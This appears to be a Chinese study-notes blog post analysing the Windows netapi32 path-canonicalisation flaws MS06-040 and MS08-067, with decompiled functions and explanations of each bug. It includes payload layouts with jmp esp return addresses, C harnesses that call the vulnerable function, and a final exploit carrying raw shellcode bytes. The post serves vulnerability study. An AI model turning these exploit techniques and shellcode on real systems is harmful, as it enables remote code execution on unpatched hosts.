刚进大学就被老师一手enter入侵开摄像头惊到了,后来搭建很多环境都没复现,最终只能在老师给的专用靶机上成功,于是果断的选择了web向,现在又”重回”二进制,来重啃08067吧,也作为漏洞分析学习的第一篇。(PS:这的确是第一篇,7月末开始写,然后一耽搁就一直拖到现在了)
RPC漏洞
RPC就是Remote Procedure Call(远程过程调用),客户端只需要指定参数给服务端(传输等细节都被封装好了),服务端执行函数并返回结果给客户端。
厉不厉害?流不流弊?害不害怕!,you think think,千里之外getshell呐,正宗的远程代码执行,正宗的RCE!System权限呐!好吧,开始分析~
MS06-040
学08067先学06040,他们漏洞出现在同一个函数里,06040几乎影响当时全部windows系统,含Windows 2000/Xp/2003及各SP版本。它出现在netapi32.dll导出的NetpwPathCanonicalize()
函数里,而此函数又可以被远程调用。
Windows 2000 SP4
漏洞分析
上面说了,是netapi32的导出函数,直接打开阿达加载库文件,在导出表里面找到此函数,F5反编译:
1 | int __stdcall NetpwPathCanonicalize(LPCWSTR pathName, LPCWSTR dstPath, int dstLength, LPCWSTR prefix, int pathType, int pathFlags) |
现在来看看scat这个函数,它的作用就是把两个路径连接在一起:
1 | int __stdcall scat(wchar_t *prefix, wchar_t *pathName, wchar_t *dstPath, int dstLength, int *dstSize) |
漏洞利用
- 由于在2000系统上,没有什么防护,所以返回地址处可使用一个
jmp esp
作为地址 - 这个函数有5个参数,其中第1 2 个参数要能读数据,第3 5个参数要能写数据,在溢出后这些地址会被破坏,但是溢出后返回前还会用到第三个参数,也可能用到第五个参数,若是此时出现访问异常将会转到SEH而不会返回,因此需要把它们写上可读写的地址。
- 返回弹出0x14字节,于是需要把部分shellcode再后移
- 最终的shellcode还是从buffer开始,于是要做个短跳转
- ret - buffer = 418h Bytes
最终shellcode如下:1
2
3
4
5
6
7
8ret = '74fb62c3' #jmp esp指令地址
prefix = '\x90'*? + shellcode +'\0\0' #长度刚好为0x100 Bytes
path = '\x90'*792 #长度0x318 Bytes
path += p32(ret) #加上返回地址
path += '\x04\xd0\xfd\x7f'*5 #加上可写地址作为参数
path += '\x66\x81\xec\x30\x04' #sub esp,430
path += '\xff\xe4' #jmp esp 短跳转
path += '\x00\x00' #结束Windows xp Sp0-1
还是这个函数,但是做了一些修补了:如上,若是在prefix在为空串时,此函数也会被调用,那么这就是一个可利用的点,那再看看上层可以直接被调用的函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65int __stdcall scat(wchar_t *prefix, wchar_t *pathName, wchar_t *dstPath, int dstLength, int dstSize)
{
size_t v5; // esi@1
wchar_t *v6; // eax@4
size_t v7; // eax@9
int result; // eax@10
size_t v9; // eax@13
__int16 v10; // ax@15
__int16 v11; // [sp+Ah] [bp-416h]@15
wchar_t v12; // [sp+Ch] [bp-414h]@2
v5 = 0;
if ( prefix ) //prefix是指针,若它不为空将进入
{
v9 = wcslen(prefix); //若prefix指向的地址为空串,那么它的长度为0
v5 = v9;
if ( v9 ) //长度为零不会进入
{
if ( v9 > 0x208 ) //看到这里比较的长度已经变小了一半,之前是0x411
return 123;
wcscpy(&v12, prefix);
v10 = *(&v11 + v5);
if ( v10 != 92 && v10 != 47 )
{
wcscat(&v12, &word_71BDDD94);
++v5;
}
if ( *pathName == 92 || *pathName == 47 )
++pathName;
}
}
else
{
v12 = 0; //当prefix不为空指针,将不会执行这句话
}
if ( v5 + wcslen(pathName) > 0x207 ) //当prefix指向一个空串,v5为0,path最长为40eh Bytes
return 123;
wcscat(&v12, pathName); //当prefix指向一个空串,v12还没有进行初始化
v6 = &v12;
if ( v12 )
{
do
{
if ( *v6 == 47 ) //同上的注意点,shellcode若是含有47将被改为92
*v6 = 92;
++v6;
}
while ( *v6 );
}
if ( !sub_71BA41DA() && !sub_71BA434E(&v12) )
return 123;
v7 = 2 * wcslen(&v12) + 2;
if ( v7 > dstLength )
{
if ( dstSize )
*(_DWORD *)dstSize = v7;
result = 2123; //当v7长度大于dstLength时返回2123,而dstLength是用户可控的
}
else
{
wcscpy(dstPath, &v12);
result = 0;
}
return result;
}如注释,看出是可以利用的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34int __stdcall NetpwPathCanonicalize(LPCWSTR a1, LPCWSTR lpWideCharStr, int a3, LPCWSTR prefix, int a5, int a6)
{
wchar_t *v6; // ebx@1
int v7; // esi@2
LPCWSTR v8; // eax@3
int result; // eax@5
v6 = (wchar_t *)prefix;
v7 = !prefix || !*prefix; //当prefix指向空串,那么v7为1
v8 = *(LPCWSTR *)a5;
prefix = *(LPCWSTR *)a5;
if ( a6 & 0x7FFFFFFE )
{
result = 87;
}
else if ( v8 || (result = NetpwPathType(a1, (int)&prefix, 0)) == 0 )
{
if ( v7 || (result = NetpwPathType(v6, (int)&a6, 0)) == 0 )
{
if ( a3 )
{
*lpWideCharStr = 0;
result = scat(v6, (wchar_t *)a1, (wchar_t *)lpWideCharStr, a3, 0); //当v7为1时,会调用下面的函数
if ( !result ) //result非0,将不会调用下面的函数
result = NetpwPathType(lpWideCharStr, a5, 0);
}
else
{
result = 2123;
}
}
}
return result;
}漏洞利用
- shellcode和之前差不多,只是触发漏洞的方式变了
- 先调用
NetpwPathCanonicalize
将前半部数据写入,dstLength的大小设置小一点,使scat
返回失败,使外层函数不再调用其他函数而返回,保持堆栈完整性 - 再次调用
NetpwPathCanonicalize
将后半部数据写入,prefix设为一个空串,这样就利用未初始化漏洞成功溢出了
书上的演示代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
typedef void (__stdcall * MYPROC)(LPTSTR);
int main()
{
char PathName1[PATH1_SIZE];
char PathName2[PATH2_SIZE];
char Outbuf[OUTBUF_SIZE];
int OutbufLen=OUTBUF_SIZE;
char Prefix1[PREFIX_SIZE];
char Prefix2[PREFIX_SIZE];
long PathType1=44;
long PathType2=44;
//load vulnerability netapi32.dll which we got from a WINXP sp0 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
// fill PathName
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,'a',sizeof(PathName1)-2);
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,0,sizeof(PathName2));
memset(PathName2,'b',sizeof(PathName2)-2);
// set Prefix as a null string
memset(Prefix1,0,sizeof(Prefix1));
memset(Prefix2,0,sizeof(Prefix2));
// call NetpwPathCanonicalize several times to overflow
(Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
(Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
FreeLibrary(LibHandle);
}MS08-067
终于来到了这里,08067呀,学过metasploit的都知道吧,终于可有机会接触这个洞的原理了漏洞分析
出现在NetpwPathCanonicalize()
函数里的scat()
函数里的sub_5FDDA26B()
里…..它是将连接的buffer串做些其他操作再返回:那么跟进1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72int __stdcall scat(wchar_t *a1, wchar_t *a2, int a3, int a4, int a5)
{
wchar_t *v5; // ebx@1
size_t v6; // edi@1
size_t v7; // eax@3
int v8; // edi@3
int result; // eax@4
wchar_t *v10; // eax@5
size_t v11; // eax@10
size_t v12; // eax@14
__int16 v13; // ax@16
wchar_t *v14; // [sp+10h] [bp-41Ch]@1
wchar_t v15; // [sp+14h] [bp-418h]@2
v5 = a2;
v14 = (wchar_t *)a3;
v6 = 0;
if ( a1 && *a1 ) //看到变量未初始化漏洞也已经被修复了
{
v12 = wcslen(a1);
v6 = v12;
if ( v12 )
{
if ( v12 > 0x208 )
return 123;
wcscpy(&v15, a1);
v13 = LOWORD((&v14)[v6 + 1]);
if ( v13 != 92 && v13 != 47 )
{
wcscat(&v15, &word_5FDECBD4);
++v6;
}
if ( *a2 == 92 || *a2 == 47 )
v5 = a2 + 1;
}
}
else
{
v15 = 0;
}
v7 = wcslen(v5);
v8 = v7 + v6;
if ( v8 < v7 || (unsigned int)v8 > 0x207 )
return 123;
wcscat(&v15, v5);
v10 = &v15;
if ( v15 )
{
do
{
if ( *v10 == 47 )
*v10 = 92;
++v10;
}
while ( *v10 );
}
if ( !sub_5FDD9F7A() && !sub_5FDDA26B(&v15) ) //这里调用了sub_5FDDA26B(&v15),若运行到这里并且返回值为0则程序直接返回
return 123;
v11 = 2 * wcslen(&v15) + 2;
if ( v11 > a4 )
{
if ( a5 )
*(_DWORD *)a5 = v11;
result = 2123;
}
else
{
wcscpy(v14, &v15);
result = 0;
}
return result;
}sub_5FDDA26B(&v15)
查看下里面到底做了什么:上面的代码的作用是精简路径,效果如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119int __stdcall sub_5FDDA26B(wchar_t *path)
{
wchar_t *pathbak; // ecx@1
wchar_t path_0; // ax@1
wchar_t *v3___000; // ebx@1
wchar_t *v4; // edi@1
wchar_t *v5; // esi@3
int v6; // eax@10
wchar_t v7; // dx@10
wchar_t v8; // bx@11
wchar_t path_1; // dx@17
wchar_t *i; // ecx@18
wchar_t tmpChar; // ax@19
wchar_t *j; // eax@34
wchar_t *v14; // ecx@41
wchar_t *v15; // [sp+Ch] [bp-4h]@1
pathbak = path;
path_0 = *path;
v3___000 = 0;
v4 = 0;
v15 = 0;
/*处理串
1.串为{\\+} 返回0
2.串为{\\+abc.*} 不对前面的\\+处理,把指针移到abc那里去
*/
if ( *path == '\\' || path_0 == '/' )
{
path_1 = path[1];
if ( path_1 == '\\' || path_1 == '/' )
{
for ( i = path + 2; ; ++i )
{
tmpChar = *i;
if ( *i == '\\' || tmpChar == '/' )
break;
if ( !tmpChar )
return 0;
}
if ( !*i )
return 0;
pathbak = i + 1;
path_0 = *pathbak;
path = pathbak;
if ( *pathbak == '\\' || path_0 == '/' )
return 0;
}
}
v5 = pathbak;
if ( !path_0 )
return 1;
while ( 1 )
{
if ( path_0 == '\\' )
{
if ( v3___000 == v5 - 1 )
return 0;
v4 = v3___000; //v4为离指针隔了一个文件夹的'\\'地址
v15 = v5; //v5位遍历指针p,用于遍历直到发现"..\"
goto LABEL_6;
}
if ( path_0 != '.' || v3___000 != v5 - 1 && v5 != pathbak )
goto LABEL_6;
v6 = (int)(v5 + 1);
v7 = v5[1];
if ( v7 == 46 )
{
v8 = v5[2];
if ( v8 == '\\' || !v8 )
{
if ( !v4 )
return 0;
wcscpy(v4, v5 + 2);
if ( !v8 )
return 1;
v15 = v4;
v5 = v4;
for ( j = v4 - 1; *j != 92 && j != path; --j )
//这个指针有问题呀,它向前跑直到遇到92即'\\'或者是path,而j的初始值呢,又是v4-1,要是v4=path,且path之前没有'\\'了,
//那么j就会一直向前搜索,直到找到92
;
pathbak = path;
v4 = (wchar_t *)(*j == 92 ? (unsigned int)j : 0);
}
goto LABEL_6;
}
if ( v7 != 92 )
break;
if ( v3___000 )
{
v14 = v3___000;
}
else
{
v6 = (int)(v5 + 2);
v14 = v5;
}
wcscpy(v14, (const wchar_t *)v6);
pathbak = path;
LABEL_7:
path_0 = *v5;
if ( !*v5 )
return 1;
v3___000 = v15;
}
if ( v7 )
{
LABEL_6:
++v5;
goto LABEL_7;
}
if ( v3___000 )
v5 = v3___000;
*v5 = 0;
return 1;
}
但是它的算法存在漏洞,例如输入串:
崩了就对了!而崩溃的原因如上代码中所注释:
路径可以以\开头,此时v5从path+2开始,否则从path开始,若是遇到一个\赋给v15,在之后遇到其他字符时将v15赋给v4,故v4指向距v5隔一个文件夹的距离,v5继续遍历当遇到..\时将v4覆盖为v5+2,接着j=v4-1,j向前遍历直到j为\或者j等于path,再将j赋值给v4,问题就在于若v4本来就指向了path那么j会出现在path之前,它将会继续向前遍历直到遇到\,然后将..\覆盖到这里来
如上图,可以看到已经读到字符串前面的数据了,可能会感到迷惑,向前任意写数据有什么意义,这就要看这个函数的参数了,它是一个地址,指向调用者栈帧,那么向前写数据就能写到本函数的返回地址处。
再来理理触发漏洞的方法,正常情况下,如:*\a\..\b\..\1234** - v4 -> \a\..\b\..\1234
v5 -> ..\b\..\1234
进行简化
v4 -> \b\..\1234
j = v4-1;j——————-
v4 = j; #此时v4指向了一个比字符串起始位置还低的位置 - v5 -> \b\..\1234
v5 -> b\..\1234
v5 -> \..\1234
v5 -> ..\1234
v4 -> v3___000 -> v15 #最近的\,这里更新了v4地址,就不会出现什么错误
……
再看看异常情况,如:\a\..\..\1234456789
- v4 -> \a\..\..\1234456789
v5 -> ..\..\123456789
进行简化
v4 -> \..\123456789
j = v4 - 1;j——————
v4 = j; #此时v4指向了一个比字符串起始位置还低的位置 - v5 -> \..\123456789
v5 -> ..\123456789
简化操作,覆盖。。。漏洞利用
从上面可以看出漏洞发生在sub_5FDDA26B()
里,但是触发是在其内部调用的wcscpy()
里,是传入了错误的目标地址,使用户输入被写入到错误的地址,要利用它,用户输入已经完全可控,那关键就是这个错误的目标地址,要让它成为合适的目标地址,使复制进去的shellcode刚好覆盖wcscpy栈的内存地址,精准覆盖返回而获取控制权:寻找’/‘
使用od调试查看’\‘的地址:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
__asm{
int 3
} ;
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
FreeLibrary(handle);
return 0;
}计算偏移,写exp
看到’\‘地址为12F54Eh,当前栈指针为12F63Ch,接着继续令其调用wcscpy后观察:
看到当前函数返回地址为12F630h
,目标地址为12F54Eh
,源地址指向的字符串已经被‘吃掉’了\\aaa\\..
,那么就可以计算出返回地址偏移等关键信息,写出exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
// address of jmp esp
//shellcode
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path, JMP_ESP);
wcscat(path, SHELL_CODE);
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
注:这个漏洞和普通的栈溢出不一样,它在”一定程度上”它可以控制溢出起始位置,于是或许可以无视GS保护,若是这种控制不现实,这里也很幸运能利用成功因为wcscpy函数并没有保护。
来源
本篇是《0day安全:软件漏洞分析技术》学习笔记,内容来自本书。